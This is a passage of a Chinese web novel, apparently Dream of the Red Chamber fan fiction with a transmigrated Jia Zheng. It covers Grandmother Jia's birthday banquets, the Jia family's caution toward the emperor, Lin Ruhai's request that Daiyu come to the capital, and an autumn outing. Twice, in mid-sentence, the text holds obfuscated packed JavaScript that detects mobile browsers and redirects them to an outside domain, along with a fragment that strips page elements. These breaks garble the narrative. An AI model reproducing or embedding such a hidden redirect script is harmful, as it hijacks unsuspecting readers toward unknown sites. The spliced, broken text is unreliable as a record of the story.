“说些什么呢?这么热闹。”贾政说话间坐在了炕桌东侧。 王熙凤回道“太太正吩咐我操办老太太的寿辰呢,我年纪轻,不懂的地方多,还要太太多指点。”说罢,亲给贾政倒了杯茶端到跟前。 “凤丫头歇着,让丫鬟们来就行。”贾政笑着接过茶,又问道“老太太过寿,你父母亲肯定是要来了。你父亲倒是会享福,早早辞了官,回了金陵颐养天年。许久不见,他们身体可还好吗?” “回老爷,前些日子他们还给我传了信来,说他们在金陵一切都好,老太太七十寿诞,他们月底就准备动身了,早日来京,也与亲戚们多走动走动。”王熙凤回道。 王熙凤的父亲是王家长子王子安,前两年回了老家金陵,不再做官。其弟王子腾,这两年仕途正通,做京营节度使。还有两个亲妹妹,一个嫁了贾家二老爷,也就是王夫人,另一个嫁了皇商薛家的长子,也就是薛蟠与薛宝钗之母薛姨妈。 说到这,贾政又问王夫人“你妹妹他们薛家也要来人的吧?” 王夫人略一犹豫,回答道,“前些日子她也捎了信来,说是妹婿身体不太好,怕是经不住舟车劳顿,两个孩子年纪还小,她又走不开,大约不亲自来了。” 贾政闻言安抚道“既然妹婿身体不好,就不要勉强,亲戚之间,无论哪日走动都是好的,不拘什么时候。” “听说两个外甥,蟠儿宝钗与宝玉年纪相仿,都是很聪慧知礼的孩子。”贾政又问。 王夫人点点头,却不赞同。她自然知道薛蟠是个什么性子,年纪虽小,可薛姨妈信中总是不忘诉苦,说薛蟠又闯了什么祸,想来长大了也是个天不怕地不怕的小霸王。 “琏二爷去金陵时倒是见过姨妈家的宝钗,说是极聪慧伶俐的孩子。比她哥哥强上不少呢。”王熙凤又道。 “扬州林姑爷那边,应该也会派人过来···”贾政说到这里就没说下去。 贾敏已经过世,林如海虽官职不低,但身居高位,也是如履薄冰。再加上夫人去世,这几年他的身体也不好,膝下只有一个女儿黛玉。 几人想到这里,都是难过,各自叹气。 “若是你林姑父来了信,或是派人来贺,你记得也传话叮嘱他保养身体,切莫忧虑。”贾政暂时也只能这样,林家远在扬州,他想提醒黛玉的父亲注意身体,也鞭长莫及,没有合适的机会。 随后,贾政让书文递了一份名单给平儿,对王熙凤说“这是我这边需要宴请的一些人,人不多,办的不要太铺张,按规矩来就好。”王熙凤听了,略有些纳罕。 “前几日,从宫里传了一些消息,说是圣上不喜那些豪门大族行事太过铺张,因此还借机惩治了几户人家。所以我看,这次寿宴,你们还是要谨记,不可以太奢侈靡费,一定不要太张扬了。” 王熙凤见贾政说得严肃,虽然心里不太赞同,但也应下了。 王夫人见王熙凤听完贾政的话并不很是赞同,于是补充道。 “凤丫头,宴席既然安排了,就仍是摆八日。但在各处宾客人员上,把不必须邀请的减免了。还有诸多精细之物,丫鬟小厮,符合规格够用即可。来的人中不乏皇亲国戚王公大臣,宴席与回礼都按照等级规格来就行。圣上既然重视,咱们切不可因为此事被有心之人传扬出去。” 她见贾政眼含赞赏,王熙凤也听得认真,就继续道: “只是记住一点,虽然不能太张扬,也不可因为过于俭省而让老太太不高兴。宴席多了,只要处处稍微克制一些,老太太发现不了,面子上也过得去。咱们呢,也不容易被有心人抓住把柄。普天之下,哪有国公之家,没有一点气派的呢?” “的确是这个道理,老太太过寿,做子女的必然是要孝顺的。只是为了不被有心人拿这个说事,不如咱们处处做到符合规矩就行了。不铺张,也不寒酸。”贾政意识到目前最好的结果也就是如此,他也忙说道。 王熙凤见贾政夫妇都是同样的说法,就很干脆地应下了。 她丝毫不觉得为难。相反,她很有信心办一场既不铺张也不寒酸的寿宴。既要让老太太满意,又要让二老爷与太太满意。还要符合国公府的规格,但不能逾矩铺张,惹得圣上不满。 正是:金紫万千谁治国,裙钗一二可齐家, 10. 庆生辰大宴宁荣府 进入七月,贾家处处都显得忙碌。 贾政在外面日日忙着公事,顾不上内宅的事务。而贾府内宅,却被王夫人和王熙凤料理得周全妥当,虽然忙碌但井然有序。 七月下旬,京城的荷花开得茂盛。宁荣街上的宁荣二府也迎来了家中最有威望的老封君贾母的七十寿诞。 按照规划,寿宴从七月二十八日开始,连摆宴八日,至八月初五日。 贾政自己七月初早早就开始赶工,他需要把公事都安排妥当,才能抽身回家。这样的大日子,他是断不能缺席的。 幸好还有一个大哥贾赦,最喜欢宴席热闹享受,还有贾珍也善于此道。如此一来,贾政有人分担,也就没有那么忙着应付各路宾客。 还有一个侄儿贾琏前几日也赶回来了。这几日贾政暗中观察,虽然贾琏在酒色上有些把持不住,但做起事来,桩桩件件,很是妥当。贾琏与王熙凤,一内一外,的确是荣国府如今管事最为靠谱的当家人。 二十八日那天,两府中俱是张灯结彩,屏开鸾凤,热闹非凡。 宁府中本日只有北静王,南安郡王,永昌驸马并几个世交公侯应爵。荣府中有南安王太妃,北静王妃并几个世交公侯诰命。贾家的男子主要在宁府这边应酬官客。 这些人大多与贾家同属四王八公,都是祖上立功得了爵位封赏,子孙做个不上不下的荫官。只除了北静王仍与圣上亲厚,还有南安郡王,仍有子弟担任要职。所以这些人还没等开席,许多都聚集在北静王与南安郡王跟前奉承了。 众宾客到的差不多了,一旁的贾赦吩咐开席,众宾客一一入座。 贾赦贾政与几位地位尊崇的王爷驸马一桌。 “家母寿诞,乃贾家一大喜事,多谢列为拨冗来贺。”贾赦袭了荣国公的爵位,现为一等将军,理当由他起这个头。 说罢,他先饮一杯,众人也都陪饮了。 宴席开始,台上参了场,有一小厮捧了戏单至阶下,一一传至了北静王前,他谦让了一回,点了一出吉庆戏文。随后又是一一谦让,众王公贵族都各点了一出戏。 北静王虽未及冠,但风流潇洒,为人谦逊。他见贾政坐在他身侧,就想起了贾家那个衔玉而生的宝玉少爷来。 “世翁,你家那位衔宝而生的小公子今日可在?”北静王侧身问贾政。 “回王爷,犬子年幼,素来又顽皮跳脱,这几日怕他耽误事情,就不曾教他出来待客。”贾政恭敬答道。 “早就听说荣国府生了贵公子,我家中子嗣不丰,也想见一面沾沾喜气呢。”武宁伯也附和道。 “王爷和伯爷既然想见宝玉,差人把他叫过来就是了。”贾赦见北静王和武宁伯想见宝玉,忙讨好道。 贾政刚想着说辞推掉,北静王开了口。 “既然这次无缘,那便下次吧。本王只是好奇,小公子必定天生灵秀,如宝似玉,才能有如此机缘。”北静王也不勉强要见,遂说道。 “王爷谬赞了,只是一个顽皮孩子,哪有什么灵秀气呢。”贾政不想利用宝玉结交权贵,就没有大力夸赞宝玉,他认为宝玉如今越低调越好,一个小孩子名气太大,没什么好处。 且说荣府那边,今日招待的也都是王公贵胄家的女眷。贾母与邢王二位夫人等俱是按品大妆迎见。 席上,南安太妃也想见宝玉,贾母便差人把迎春宝玉探春三姐妹都叫了出来,惜春还小就没有叫她。孩子们请安问礼后,齐齐站在太妃面前。太妃先拉着迎春探春两个的手,问了几岁,又说道“多么标志可人的姑娘,一个乖巧,一个聪慧,老太太真是好福气。”北静王妃也是连连夸赞。 贾母喜欢的但笑不语。 南安太妃又松了迎春探春姐妹的手,一手拉过宝玉来“这就是那衔玉而生的小公子了,果然灵秀”,旁人也是极力夸赞三个孩子。 “都是好的,倒教我夸不过来了。” 旁边早有人将备用礼物打点出三分,金玉挂坠三个,沉香珠三串。 “你们几个不要见外,拿去玩吧。”三个孩子拜谢过,其他人也均有礼物给三个孩子。 又在府上花园逛了逛,南安太妃与北静王妃先后告辞了。其余的宾客也有终席的,也有不终席的。 贾母今日劳累了一日,年岁也大了,受不太住。之后便均由邢王二位夫人和王熙凤管待宾客。 宁府那边宾客更多,贾政日日不得松懈。 三十日那天,宴请的是诸长官并远近亲友。期间,工部的尚书封严与贾政所在营缮司的郎中李师德和司里的同僚都来了。 李师德为人宽和,体恤下属,封严却很严肃。来了之后,只是饮了杯酒,略坐一坐,便走了。 “存周近日工事可还顺利?”郎中李师德入了席,便问贾政。 “大的工程都已完成,现在忙着室内外的陈设和修缮工作,工期已近,想来本月下旬就可竣工。”贾政边说话,边为李师德添酒。 “我本来还担心因为中途换将,大殿工程要延期,连折子我都想好了。没想到存周让我免了一顿训斥。”李师德玩笑道。 “只是听说政公不仅工事顺利,还体恤百姓,免了一次官民冲突呢!”说话的是礼部一员外郎,左思嘉。 贾政听了此话,眯了眯眼睛,暗想此人也许与那日的幕后黑手有关,狐狸尾巴终于露出来了吗? “此话为何?”李师德问道,他是工部营缮司主官,对司内要事自然关心。只是也有些奇怪他一主官都不知道的事情,何故礼部的人先知道了。 左思嘉便将那日的事情详细说了。 李师德听罢,面上不见恼怒,和煦说道“存周体恤百姓是好事,咱们做官,最好是与民秋毫无犯,这样社稷才能长久。” “只是,若要因此误了大事,那就不好了。”李师德知道如今工事顺利,可如期完工,也就没有说得太直接。况且,贾府公爵之家,他也不好在这种场合真的让贾政丢了面子。 还有一个疑点,让他没有全然相信左思嘉的言辞。那便是一个局外人何故在今日突然当众传扬此事呢? “今日老封君寿诞,大喜之日,众位难得聚在一起,就不要谈公事了。”一旁的关永平举杯说道。 众人听了,也都不谈公事,听戏闲聊罢了。 “二弟,你如今在工部做事,最好凡事都顺了长官的意。左右不过是个五品官,不要在任上因为什么事情连累了咱们家才好。”贾赦在旁目睹了贾政同僚之间的机锋,就趁着空隙,拉了贾政出来,叮嘱道。 “老太太寿辰,正是结交权贵的好时机,前日那北静王要看看宝玉,多好的时机。要是宝玉入了他的眼,在圣上跟前一说,那宝玉的前途还用你操心吗?哪用得着像珠儿那样,读书读成那个样子。”贾赦说到这,仍是有些憾恨。 “兄长说的是,弟知道了。”贾政知道贾赦叮嘱他不过是为了让他不要惹事,为的是保全贾家的富贵。只是贾赦他自己明里暗里惹得事还少吗?只是现在没有人揭穿罢了。 至于把宝玉举荐到圣上那里,还是不要妄想了。先不说宝玉年纪还小,单是那单纯性格,入了官场能有什么好结果呢? 当日还来了王家的宾客,王熙凤的父亲兄长贾政都见过了。其父王子安袭了伯爵,没两年就致仕,回了金陵。虽是王家长房,现任族长,但贾政观他并无功名利禄之心,想来也是一个淡泊的。 只是王熙凤的兄长王仁并不是个好相与的,不仅是沉溺酒色之徒,且个性狭隘,喜好钻营。他们父子二人也并不亲近,贾政也只是按照礼数接待。 八月初四那日,是贾府合族长幼的家宴。正是王熙凤出风头的时候。 前几日因为来往接待的不是王公贵客,就是官太太们,王熙凤都不太熟悉,仍由邢夫人王夫人主要接待。 今日是贾府族内的家宴,族里的人,王熙凤大大小小都认识一些。而且,这几日邢夫人与王夫人也都疲累,索性都是自家人,就让王熙凤去接待了。 主桌自然是贾母并贾赦贾政,贾珍贾琏等子孙辈又一席,几个孩子们由奶娘照看着,坐了一席。两府的当家太太奶奶们在里间设席。 其余便是贾家族内各亲友,都不在主屋。 “老太太七十大寿,儿子祝您洪福齐天,寿比南山。”贾赦先端了杯酒,向贾母祝贺道。 贾母笑着饮了一杯。 “母亲寿辰,做儿子的前几日尽忙着接待宾客,竟还没有与母亲贺寿。”贾政起身,端了杯酒,对贾母贺道“祝母亲如日之恒,如月之升,福寿绵长,泽被子孙。”说罢,笑着饮完杯中酒。 “贺词倒是新鲜。”贾母仍是笑着饮了一杯。 接下来也有道贺的,贾母就没有一一陪饮了。 “老祖宗,该我们了。”宝玉见大人们都敬完酒,他连忙拉着迎春与探春惜春站了出来。 “祝老祖宗松鹤长春,平安无恙,老当益壮,天伦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“老祖宗猜对了!”宝玉黏到贾母怀里,撒娇道。 “歪歪扭扭,画得不好。”贾母又故意逗他。 “等我日后学了画画,画得好了,再给老祖宗做一个。今日老祖宗就勉为其难的收下吧。也不枉费我们姐妹的一番孝心呐。” 宝玉一脸认真地说道,就怕贾母不高兴,三妹妹肯定饶不了他。 “你这个活宝啊!”贾母实在憋不住笑,把宝玉揽到怀里,亲昵地搂住。 一时间满堂大笑,都被宝玉逗得不行。 “太太让我出来问问,可是宝玉又出洋相了,里间都听到大家笑呢。”王夫人的丫鬟锦屏出来说道。 “告诉你太太,这几个孩子今日我都很满意,他们献的贺礼正在我心坎上。”贾母笑着叮嘱锦屏。 锦屏听了也很高兴,忙进去回话。 之后又是唱戏,饮酒用菜,一片欢声笑语,就不一一列举。 八月初五是贾母生辰的最后一日宴席,由贾府几个有头有脸的管事人并他们家眷庆贺。 这日没贾政什么事,他就歇了一日。 晚上,从老太太那里用完晚饭回到院子。 贾政问王夫人“今日那几个管家与他们家眷你都见了?” “起初见了一些,后来就让凤丫头随意陪着了。”王夫人见贾政还有话说,就坐在了炕桌前。 “如今咱们府上很有一些管事的,因为靠着荣府,得了权和利,在外欺男霸女,在内更是克扣钱财。”这话贾政先前说过,王夫人并不惊讶。 “算了,不说这个,暂时无法根除,我也事忙,顾不上这个。只是你得吩咐凤丫头,今后在这上面,盯紧一些。”贾政又道。 王夫人点头应下了。 “这次老太太的寿辰,花费几何?”贾政问得直白,在王夫人面前,他还是很放松的,有话就说。 “具体还没有算清,只是寿辰前几日,凤丫头就与我说过了,这次寿辰定会让老太太满意,也不会太过铺张的。” 贾政点点头。这几日他也观察着,看到一应仆人与精细之物,都很周全但看起来也没有过分奢侈。他也问过几个管事的,这几日的浪费也不很多。看来王熙凤在管家之事上的确很能干。 “扬州那边···”贾政刚起了个头,王夫人就接话了。 “前日林家派的人就到了,送了贺礼,还有信件。只是怕老太太知道了心情不好,就没有宣扬。” 王夫人边说,边派人去拿信件,“本来想过几日再告诉老太太,今日老爷问起了,就先拿过来看了。说的什么,咱们也好有个准备。” 11. 含凉殿成天子封赏 贾政接过信来,看罢,叹了口气。 “老爷,姑爷信中说了什么?”王夫人见贾政神色忧虑,遂问道。 “前几页照旧是向老太太和家中的亲友问好,并附上了礼单。”贾政顿了顿,继续道 “他有意让外甥女进京,由老太太抚育。” “这不是好事吗?老太太本就思念敏妹,如今由外甥女承欢膝下,也可解了老太太的烦闷。”王夫人说道。 “姑爷说他年将半百,再无续室之意,且外甥女自幼多病,上无亲母教养,下无兄弟姐妹扶持,如今赴京,养在老太太及舅母身前,也是好事,有个依傍。”贾政说道。 王夫人听了点点头,她也很认可林如海的考量。女儿家自幼由地位尊崇的祖母抚养,日后大了议亲,也是好说法。 “姑爷还说他去岁圣上钦点为扬州巡盐御史” 此事贾家人都已知道,王夫人便继续听着。 “官位虽高,看起来很得圣上荣宠,只是他信中提及此事时,似是有些忧虑,也许是我多想了。只是我如今看他对独女的安置,与字里行间化不开的愁情,他的身体也不是很好,怕是身染沉疴···”贾政没有再说下去。 本来在他的计划中,林家这一支亲戚是要好好维系的。林如海深受圣上眷顾,官至巡盐御史,且与贾家又有姻亲。两家已是剪不断的亲缘,若能互相帮衬,肯定是好的。更何况,还有一个黛玉。 贾母的母族史家,如今也没有子弟担任要职,与贾家一样,只是袭了爵位。王家族长已不太管事,王子腾虽官运亨通,但看起来与贾家并不很亲近,贾母过寿时王子腾虽在京城,只是送了贺礼,人并没到。还有一个姻亲薛家,虽是皇商,这几年已经败落不少,也指望不上。 算来算去,如今与贾家最亲厚,且身居要职的,只有林家林如海。但林家子嗣单薄,如今林如海膝下只有黛玉一个女儿。 也许四大家族不用皇帝亲自下手,因为后继无人渐渐也就衰败了。 方才贾政看了林如海的信,又开始思考一件事,也许圣上表面信重林如海,并不是单纯的倚重。也许圣上对林如海,王子腾的倚重,包括后面给贾政升官,都只是除掉四大家族的计策。 大族之家关系盘根错节,真不是那么好分割清楚的。所以皇帝步步为营,看似升官,其实都是外任。林家虽世代列侯,后代又考科举,看似清贵,但与贾家联姻后,怕是也不再是皇帝放心倚重的了。 看来他起初对皇帝对四大家族的看法太浅显了。 贾政在心里又是重叹口气。 “那么要不遣几个京城里有名的大夫去扬州看看?”王夫人建议道。 贾政摇摇头,“我看他更多的是心病,大夫又怎么能治得了?” 王夫人闻言,也不勉强。林如海贾敏夫妇鹣鲽情深,她也早就知道。如今贾敏去了,林如海也病重,这对夫妇情谊深厚至此也不让她很惊讶。 贾敏仍在闺中时,王夫人与她很是亲密。那时王夫人是新妇,贾敏只有十来岁,是再和气可爱不过的小姑子,活泼灵动,深得贾家上下的喜爱。 只可惜,天不永年。 一时间,贾政与王夫人均是相对而坐,唯有叹息声。 “夫人这边先着手安排船只仆人去准备接外甥女。过两日,选个老太太心情好的时候,把如海的信件给老太太看了。你等老太太那边吩咐了,我这边也有一封回信给如海的,从我这里取了信,再安排咱们的人启程。”贾政不再颓丧,开始安排事务。 “老太太肯定是中意琏儿去接的,我常不在内宅,你记得叮嘱凤丫头对琏儿多上些心,最好在银钱上有些控制。琏儿也是个耽于酒色的,不要让他因此误事,若是招了更多麻烦就不好了。” 王夫人应下了。 几日后的傍晚,众人正陪着贾母在花园中逛着。王夫人见贾母身心愉悦,趁大家坐着饮茶时,就把林如海来信的事情告诉了贾母。 贾母看罢信后,先是低沉了一会儿,很快便高兴起来。就要吩咐王夫人与王熙凤打点仆人,去接黛玉进京。 “老祖宗,就是扬州林姑父家的黛玉妹妹吗?”宝玉好奇道。 “她与你和探春年纪相仿,若是来了,你们三个又有了一个好玩伴。”贾母抱着宝玉,喂了他一颗樱桃。 “那么黛玉姐姐快些来吧,林姑父的女儿,肯定是一个小才女呢!”探春也很高兴,说道。 迎春和惜春没说什么,只是笑着坐在一旁。 园子里罢了之后,王夫人便叫了王熙凤一起商议。 仆人船只她们先前已经打点好了,王夫人也把贾政叮嘱的事情告诉了王熙凤。 说罢正事,王夫人见王熙凤对贾琏离京一事有些不满,就又说道: “你和琏儿正是新婚夫妻,趁着浓情蜜意的时候,先生下子嗣,自己也有个保障。”王夫人也是真心心疼侄女,因此说得直白恳切。 “我能看得出来,琏儿像了他父亲,也有几分耽于酒色,只是他年轻,还能收敛些。”王夫人见王熙凤听了此话有些低落,就把她揽到怀里,一手轻轻摸着她的脊背安抚着,又继续说道 “我知道你性子高傲,从来不肯伏低做小,只是夫妻之间相处,不在于争个输赢。若是能相处得好,那么偶尔低头认错也没有什么。你明白吗?” 王熙凤听了隐隐有些落泪,她为人刚强,从不在外人面前示弱,只是今日王夫人言语慈祥,像极了她出嫁前母亲的模样。 “姑母,我知道了。”王熙凤哽咽道,用的是儿时的称呼。 “好孩子,我也是为了你好。”王夫人拿着帕子,为王熙凤轻轻拭去眼泪。 “这次老太太寿辰,我也看出来了,咱们王家并不能指望得上。你父亲人品好,但已不管事,你叔父还做着官,但这次竟然自己也没过来,想来也许是与贾家有了嫌隙。你哥哥也是不中用的,以后不来麻烦你就不错了。”王夫人说到这里,也有些难过, “还有一个薛姨妈,她信中说了,怕是你姨夫不太行了”王夫人说到这里,顿了顿又道 “只怕以后也要来京城投靠咱们。”王夫人自己也觉得心里沉甸甸的。 “二老爷前些日子说的话你也知道了,圣上对几大家族早就不满,只是隐忍不发。其他人都指望不上,咱们母女俩既然还能在贾家管家,就做好分内事,不要惹了麻烦,日后也能对亲戚们帮扶一二。”王夫人又劝道。 王熙凤慎重点了头,很是听进去了。 贾政这些日子与王夫人相处中,已经把好多自己的想法说与了王夫人。王夫人自觉虽然在外面帮不上忙,但在家事上还是能帮衬贾政,于是也就想着与王熙凤好好谈谈,做些改变之事。 “太太,你说得我都明白了。”王熙凤冷静下来,又称呼王夫人为太太。 “好孩子”王夫人见王熙凤听话,也很高兴。又揽着王熙凤说了一些夫妻之间相处的事情来。 “你看二老爷如今处事还算方正,却不知道他年轻时也是个喜欢胡闹的。”王夫人笑说道。 “这可是想不到的事情。”王熙凤惊讶道。 “我们刚成婚时啊···”王夫人捡了一些故事说与了王熙凤听。 贾母寿辰后半个月,贾政所主持的工事也顺利完工。 此时京城已经入秋,但白日里暑热仍甚。 “大人,咱们这边竣工了,天气还热,说不定圣上这几日就会过来小住呢?”袁三保这几个月来实在辛苦忙碌,此时终于能松口气了。 “你是盼着圣上封赏了?”贾政笑着调侃。 二人在含凉殿内信步走着,检视着这几个月来的工作。 袁三保不好意思地搓搓手,笑着说“下官这么多年来官运一直不顺,现在年纪大了,也还是想着能升一升。”几个月相处下来,袁三保已经熟知贾政的为人,因此在他面前也就毫不避讳。 “你放心吧,我已经和李郎中说过了,此次事成,无论圣上封赏与否,他都会提拔你做营缮司内一科主事。”贾政说道。 袁三保多年来只是个工部不入流的小官,日常公事最多,最累,却很难升官,如今贾政亲口说了,让他做主事,他很是激动。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947710|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“下官先谢过大人了。”袁三保俯身作揖。 “只是大人方才说的话”袁三保顿了顿,又说道“大人认为圣上不会满意含凉殿?所以也不封赏吗?” 此时二人已经走出宫殿,行至了水车前。贾政见水车缓缓转动,他眼神黯了黯,说道“圣上之心难以揣测,咱们做臣子的,只管做好分内之事就好了。” 贾政心里还是担忧林如海信中的话。若是含凉殿主事仍是刘怀义,那么想必圣上多少会有所封赏,毕竟宫殿建得又快,设施又巧,这一点贾政还是有信心的。 但现在主管却成了他,不知道圣上会不会不做封赏,反挑错处呢?也许圣上可以借此机会免了他的官也说不定。 只是,也可能给他升官。升得越高,也就,跌得越惨。 事情都没有朝着贾政的猜想去发展。 竣工那日,工部尚书封严和工部的一些郎中,员外郎,都来检阅过,圣上没传什么消息来。 封尚书见宫殿修的简约又不失大气,内饰也毫不铺张,但丝毫不减皇家气派,对贾政很是满意。 “存周这次公事完成的很好”封严难得展颜一笑,边说边拍拍贾政肩膀。 诸位同僚们也是纷纷称赞,道贺。 次日早朝,封尚书上了折子,禀报大殿已经竣工,圣上随时可以去避暑纳凉。 皇帝只是简单赏了工部尚书,郎中与贾政一些金银物品。没有多说。 同僚们都为贾政隐隐遗憾,他们谁都知道这座宫殿实在用了苦心。 外面赤日炎炎,人在殿中,如处冰室。依山傍水,风景极佳。实在是避暑的好去处。 他们都以为贾政会因此升官,没想到圣上的反应却是不咸不淡。 贾政本人却很平静,没有升官对他来说,不是坏事。其他人见贾政神色淡淡,也就以为他们勋贵人家,不在乎加官晋爵。 大殿竣工一个月后,宫里的元春升了女史。 元春入宫两年,本来一直是静妃宫中的司簿。她在宫中处处谨慎,因此皇后的谕旨传来的时候,她隐隐有猜测。便在几日后,找了机会又往家里去了一封信。这才彻底弄清楚了。 此事在贾家传开后,除了贾政与元春,其余人都很高兴。 元春自然知道在宫中做事,职位越高危险越多。 贾政却知道了皇帝的用意,他是借着给元春升官,表明自己对贾家的态度。 那含义也很明显:你们若能好好做事,我会顾念着老臣旧情,留着你们做事。 若是不安分不听话,那么好好想想自己和后代的命运吧 明白这一点的贾政反而放了心。起码他知道了此时皇帝对于四大家族,还不是预先杀之而后快的态度。 皇帝步棋,也是想看看这些人的反应,若不识相,反而更猖狂,那么留着也没用。 若是识眼色,做事也看得过去,那么也可以先留着用用。 他既不想这些家族中有人位高权重,但也不介意先把那些不识相的人捧到高位,再狠狠处置。 所以说自古流传的俗语有些总是有道理的,伴君如伴虎啊。 贾政自来到红楼世界,就忙着公事,此时终于松了口气。可以好好歇几天,考察考察府内可待改造的事情。贾母寿辰已过,此时正可以开始他的改造。 只是,贾政观察几日后,发现贾府上下已经有了不小的改观。 他觉得奇怪,就问了王夫人。王夫人便把自己与王熙凤说过的告诉了贾政。 这的确出乎贾政的预料。没想到他影响最大的人竟然是王夫人。 倒也很好理解。贾政提的建议总与元春的话不谋而合,王夫人担忧女儿在宫中的处境,也就对贾政的话很上心。 再加上她认识到了王家靠不上,薛家势微,也就想着自己要与贾政同心协力,不让贾家倒台。元春在宫中如履薄冰,贾珠前途已经断送,宝玉还小,现在她必须站到丈夫这边,将贾家保住,保全子女的靠山。 说到底,也是出自一片慈母心肠,所谓“父母之爱子,则为之计深远。”就是王夫人现在这样。 12. 京郊赏秋其乐融融 秋天,是京城最好的时节。树叶开始变得半黄半红,天空高远而明亮。温度宜人,秋风和煦,正适合出游。 贾政想带几个孩子去京郊赏秋,并在庄子上小住几日。除此之外,他还有另外的安排。 他先与王夫人商议了一下。 “那么不如先禀告老太太,老太太肯定也想去。珠儿这几个月也好起来了,可以出门换换心情。还有大老爷那边,琏儿不在家,凤丫头一个人也无聊。东府那边看老太太怎么说,若她心情好,也可带着珍儿媳妇去。她是新媳妇,跟着去也热闹热闹。”王夫人听了贾政建议,已经开始盘算有多少人去,准备多少车马了。 贾政对内宅的事情有时候确实不太周到,此时经王夫人提醒也立刻同意, “还是夫人想得周到,等明日早晨请安时,我向老太太说。” 次日早晨众人在贾母处用罢饭,贾政就把出游的事情提了出来。 贾母还没说话,就看到宝玉两眼圆睁,已是雀跃难耐了。 “你这个主意出得好,合该咱们一大家子出去赏秋,在庄子上小住几日,就像寻常百姓那样。” “凤丫头,这次又该你打点行李车马了。”贾母笑着看向王熙凤。 王熙凤笑着应了,又问“东府那边要不要叫珍大嫂子同去呢?” “叫上,与你做个伴。”贾母也很体贴王熙凤,她知道贾琏不在家中,王熙凤也寂寞些。 贾母又看向了李纨,问道“珠儿身子已经大好了吧?” “回老太太,大爷好得多了,等我一会儿说与他,他定要跟着去呢!”李纨笑道。贾珠身子恢复得很快,只是贾母心疼他,不让他早晚过来请安。 贾母见贾珠李纨也去,心中也是高兴。她最喜欢一大家子热热闹闹的场面。 “老祖宗,我们也要去!”宝玉见贾母说了半响都没有提到他,有些着急了。 宝玉毕竟年纪还小,想不到贾母出门游玩怎么可能不带着他呢? “忘了谁也不会忘了你这个小鬼头!”贾母笑着搂过宝玉。 “你,迎春,探春,惜春,你们四姐妹当然要跟着去了。”贾母又笑着说,在旁边的迎春等人也很高兴,难得有机会出府游玩。 打点车马与仆人的事自然落在了王熙凤身上。 最近因为贾琏去了扬州,王熙凤做事有些懒怠。平日里她的一颗心一半在家事,一半在贾琏,如今贾琏不在,她感觉空落落的。 又因为前些日子王夫人对她说的那些话,她在内宅事务上就没有先前那么张扬。不再想着处处要露脸,好让别人夸她,也就不再锋芒毕露。虽然对下人管教仍很严格,只是旁人倒没那么畏惧她了。她的确记住了府里行事不可奢侈靡费,因此也很是花了心思在改变。 王熙凤身边的大丫鬟平儿是最乐意看到王熙凤这样改变的人了。她与王熙凤自幼一起长大,情谊与别个不同。平常她总是想着法子劝王熙凤行事柔和些,只是没有很好的效果。 深夜,主仆二人才把出游的事务安排妥当。王熙凤斜靠着软榻,眼睛微眯,说了一句没头没脑的话。 “平儿,你说咱们管着这一大家子的事务,落了几分好呢?” 平儿凑上前,轻轻为王熙凤揉着头与肩颈。 “奶奶是遇到什么不顺心的事了吗?”平儿轻声问道。 “倒也不是,只是这些日子以来好似突然醒悟了一般。”王熙凤轻声说着,宛如呓语。 “我只觉得奶奶自己把日子过好了比什么都紧要。管不管家,只是白添一份劳累,还总被人说长道短。保养好身子,关起门来过日子才是自在呢。”平儿自己并不看重什么管家权力,只是她也知道在内宅,若是突然失势,也少不得被那些捧高踩低的奴才们欺辱。 “我去和太太说不管家了”王熙凤声音很低,平儿差点没听清楚。 听罢,平儿失笑摇了摇头。她才不信这话,王熙凤最爱权力,怎么可能主动放手。 “奶奶睡了吗?” 平儿见王熙凤双眼已完全闭上,半天没有动静。于是轻轻推了推她。 见没有反应,平儿不禁觉得好笑。 从小到大,王熙凤都是这样。在外人面前总是很刚强能干,私下里有时却迷迷糊糊。 平儿轻轻扶起王熙凤,她仍没有醒。平儿就把王熙凤安置到床上,为她除下头饰衣服鞋袜,盖好被子。 做完这些,平儿自己和衣躺到了屋里的榻上。今晚由她守夜。 王熙凤总是事事安排得妥当,这次也不例外。 贾府出游那日,天气晴好。 因为是家里人出去游玩,排场也很简单。这一点贾政见了很是满意。 贾母坐了一乘八人大轿,她牵着宝玉与她同坐。 贾赦与邢夫人没去。贾政与王夫人,迎春,探春坐一台轿,惜春有奶娘带着坐轿。贾珠与李纨一乘,王熙凤平儿与贾珍媳妇尤氏一乘。另外各人的嬷嬷奶娘丫鬟媳妇人也不多,坐了三顶轿子。因为要在外住两三天,还有两辆车马专门驼行李。 这在公侯之家来说,算得上是轻车简行了。 多是女眷,不常出门,因此一路上欢声笑语,不绝于耳。 贾家这次去的庄子在京城北郊,距红叶岭很近,此时正是观赏红叶的时节。一路上遇到的车马还不算少。 轿内,贾政随意拿了本书,读了一些诗句给孩子们听。 “晴空一鹤排云上,便引诗情到碧霄。”行至郊外,秋景已很分明。探春耳边听着贾政读的诗句,眼前缤纷的树叶簌簌落下,突然口中冒出了这么一句诗。 “探春莫不成以后想做个诗人吗?”贾政见探春出口便引用了名句,于是开口调侃。 “太太,老爷总是调笑我!”探春有些不好意思,把头埋进王夫人怀中。几个月相处下来,探春对贾政不再畏惧,很是亲近了。 王夫人只是笑着抚摸她背,没说什么。贾政见探春害羞,就没再逗她。 一旁的迎春却很惊讶探春与父母亲如此自然亲昵的相处,一时有些黯然。 贾政知道红楼中的这些女孩子们个个满腹诗书,能写会画。只有迎春在其中略显平庸。 “迎春,可觉得轿子颠簸吗?”贾政柔声问道。 迎春很少与贾政相处,此时不免拘谨。只是恭敬答道“尚可受得住” “迎春,你也来我怀里,我搂着你们两姐妹。”王夫人边说话边一手将迎春拉到她怀中。迎春自幼是她抚养过的,她也心疼迎春。 探春看迎春拘谨,就向她做了个鬼脸,惹得迎春轻笑了一声。 